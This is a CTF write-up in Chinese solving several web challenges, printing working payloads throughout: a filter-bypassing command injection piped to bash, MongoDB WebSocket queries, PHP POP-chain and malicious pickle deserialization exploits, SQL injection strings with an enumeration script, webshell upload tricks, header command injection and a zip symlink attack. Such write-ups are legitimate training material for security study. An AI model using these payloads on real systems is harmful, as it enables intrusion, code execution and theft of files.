readbooks

一番 fuzz 后发现注入点在 URL path 里,访问 /public/* 可以 cat 目录下的文件,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import os
from flask import Flask, request, render_template

app = Flask(__name__)

DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']
DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']
BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]

BLACKLIST.append("/")
BLACKLIST.append("\\")
BLACKLIST.append(" ")
BLACKLIST.append("\t")
BLACKLIST.append("\n")
BLACKLIST.append("tc")

ALLOW = ["{", "}", "[", "pwd", "-", "_"]
for a in ALLOW:
try:
BLACKLIST.remove(a)
except ValueError:
pass

@app.route('/')
@app.route('/index')
def hello_world():
return render_template('index.html')

@app.route('/public/<path:name>')
def readbook(name):
name = str(name)
for i in DISALLOWED1:
if i in name:
return "banned!"
for j in DISALLOWED_FILES:
if j in name:
return "banned!"
for k in BLACKLIST:
if k in name:
return "banned!"
print(name)
try:
res = os.popen('cat {}'.format(name)).read()
return res
except:
return "error"

@app.route('/list/<path:name>')
def listbook(name):
name = str(name)
for i in DISALLOWED1:
if i in name:
return "banned!"
for j in DISALLOWED_FILES:
if j in name:
return "banned!"
for k in BLACKLIST:
if k in name:
return "banned!"
print(name)
cmd = 'ls {}'.format(name)
try:
res = os.popen(cmd).read()
return res
except:
return "error"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=8878)

嗯,这个题目的黑名单过滤有点多,反正不是不能绕。最后写出来的 Payload:

1
2
3
4
5
# ls /
/list/-la|ec''ho${IFS}'bHMgLw'|bas''e64${IFS}-d|ba''sh

# cat /_flag
/list/-la|ec''ho${IFS}'Y2F0IC9fZmxhZw'|bas''e64${IFS}-d|ba''sh

king

在 DevTools 的 Network 里面可以看到一个 WebSocket 连接,大概看了一眼服务端返回的数据,里面含有 _id 字段,猜测是 MongoDB 了。经过一通快速学习后搓出了 Payload,可以用这个工具进行 WebSocket 的调试:

1
2
3
4
5
6
7
  # 查询下所有集合
--> {"query": {"listCollections": 1}}
<-- {"data":{"cursor":{"id":0,"ns":"king.$cmd.listCollections","firstBatch":[{"name":"flag3ssp458krpi","type":"collection","options":{},"info":{"readOnly":false,"uuid":"7a0f4258-4e56-4419-a19d-9765023e50f3"},"idIndex":{"v":2,"key":{"_id":1},"name":"_id_","ns":"king.flag3ssp458krpi"}},{"name":"enemies","type":"collection","options":{},"info":{"readOnly":false,"uuid":"b1f6c5a1-c17b-4c64-9179-694980d3b429"},"idIndex":{"v":2,"key":{"_id":1},"name":"_id_","ns":"king.enemies"}},{"name":"upgrades","type":"collection","options":{},"info":{"readOnly":false,"uuid":"d8f1df17-b4da-41c1-b9e7-d2e3bb28f6e7"},"idIndex":{"v":2,"key":{"_id":1},"name":"_id_","ns":"king.upgrades"}}]},"ok":1}}

# 拿下 Flag
--> {"query": {"find": "flag3ssp458krpi"}}
<-- {"data":{"cursor":{"firstBatch":[{"_id":"65c09390a5d5a37b98bc38e0","flag":"begin{NOw_yoU_4RE_KIn9_0F_N05QLI_t0O_0a63a74312b0}"}],"id":0,"ns":"king.flag3ssp458krpi"},"ok":1}}

POPgadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}

class Test{
public function __call($f,$p){
echo getenv("FLAG");
}
public function __wakeup(){
echo "serialize me?";
}
}

class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}

class B {
public $a;
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}

if (isset($_REQUEST['begin'])) { unserialize($_REQUEST['begin']); }

很简单的反序列化 POP 链构造,不能用 Test::__call 那就用 Fun::__call,咋了:

1
2
3
4
5
6
7
8
9
10
11
class Fun { public $func; }
class A { public $a; }
class B { public $a; public $p; }

$obj = new B();
$obj->a = new A();
$obj->p = "env";
$obj->a->a = new Fun();
$obj->a->a->func = "system";

print(serialize($obj));

pickelshop

开着 DevTools 尝试进行注册,发现 /register 的请求会返回 pickle 序列化后的结果作为 user 的 cookie,只不过实在 Body 而不是 Header (Set-Cookie) 里面,并且在存在 user 这个 cookie 的情况下请求 /login 会返回 username。那么构造一个恶意 cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pickle
import base64

class Exploit(object):
def __reduce__(self):
cmd = "__import__('subprocess').getoutput('cat /flag')"
return (eval, (cmd, ))

a = Exploit()

sertext = pickle.dumps({'username': a, 'password': '233'})
sertext = base64.b64encode(sertext)
print(sertext)

sql 教学局

确实教学局,都是些基本的 SQL 绕过手法。第一部分 Flag 的 Payload:

1
'union/**/selselectect/**/flag/**/frfromom/**/secret.passwoorrd/**/limit/**/0,1;#

你问我怎么知道第一部分的字段名不是 note 而是 flag 的?我猜的。第二部分的话或许需要先找到 begin 在哪行,写个脚本吧(字段名也是用这个脚本跑出来的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from bs4 import BeautifulSoup
import requests

def fetch(payload: str) -> str:

TARGET = 'http://[REDACTED]/challenge.php'

response = requests.get(TARGET, params={'user': payload})
soup = BeautifulSoup(response.text, 'html.parser')
text = soup.find('div', class_='result').text[6:]

assert text != "无结果 😶"
return text

if __name__ == '__main__':

if False:
# fetch column name
payload = '\'union/**/selselectect/**/column_name/**/frfromom/**/infoorrmation_schema.columns/**/limit/**/{},1;#'
for i in range(1200, 1300):
print(i, fetch(payload.format(i)))
# 1207 secret
# 1208 grade
# 1209 student
# 1210 note

if False:
# fetch table name
payload = '\'union/**/selselectect/**/table_name/**/frfromom/**/infoorrmation_schema.columns/**/limit/**/{},1;#'
for i in range(326, 329):
print(i, fetch(payload.format(i)))
# 326 ctf
# 327 score
# 328 password

if False:
# fetch score table: student
payload = '\'union/**/selselectect/**/student/**/frfromom/**/scoorre/**/limit/**/{},1;#\''
for i in range(0, 500):
name = fetch(payload.format(i))
print(i, name)
assert name != 'begin'
# 353 begin

那么其他两个部分 Flag 的 Payload:

1
2
'union/**/selselectect/**/grade/**/frfromom/**/scoorre/**/limit/**/353,1;#'
'union/**/selselectect/**/loloadad_file('/flag');#

zupload

注意到代码中:

1
2
3
4
5
if (!isset($_GET['action'])) {
header('Location: /?action=upload');
die();
}
die(file_get_contents($_GET['action']));

直接往 action 中传入 /flag 就行了。

zupload-pro

没有对上传文件进行检查,直接上传一个一句话木马就可以了。前端的过滤自己解决,下同。

zupload-pro-revenge

这题只是修复了上一题的一个非预期解,使用上一题的 Payload 没有问题。

zupload-pro-plus

注意到代码中有对文件名的检查:

1
2
3
4
5
$file_ext = explode('.', $file_name);
$file_ext = strtolower($file_ext[1]);
$allowed = array('zip');

if (in_array($file_ext, $allowed)) ...

但是不严谨,这只要求第一个 . 后面是 zip 就行了,所以可以上传一个文件名是 door.zip.php 的一句话木马。

zupload-pro-plus-enhanced

这题只是修复了上一题的一个非预期解,使用上一题的 Payload 没有问题。

zupload-pro-plus-max

注意到代码中:

1
2
3
4
5
6
7
die(include($_GET['action'])); /* ...(省略)... */

$file_ext = explode('.', $file_name);
$file_ext = strtolower(end($file_ext));
$allowed = array('zip');

if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) ...

直接创建一个正儿八经的压缩包,但是把一句话木马放在压缩包说明中(这些内容会直接明文存放在压缩包文件尾部)。上传后通过 action 直接将 Payload 给 include 就能执行了。

zupload-pro-plus-max-ultra

注意到代码中:

1
2
3
4
5
$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';

/* ...(省略)... */

exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

直接往 Header 中传入 X-EXTRACT-TO: .; cat /flag > flag.txt 随便上传个文件,然后访问 /flag.txt 把 Flag 下载下来就行了。

zupload-pro-plus-max-ultra-premium

这题是 Unzip 软链接漏洞,先准备个 Payload:

1
2
3
touch /flag
ln -s /flag flag
zip --symlinks payload.zip flag

上传后再下载 /uploads/flag 就行了。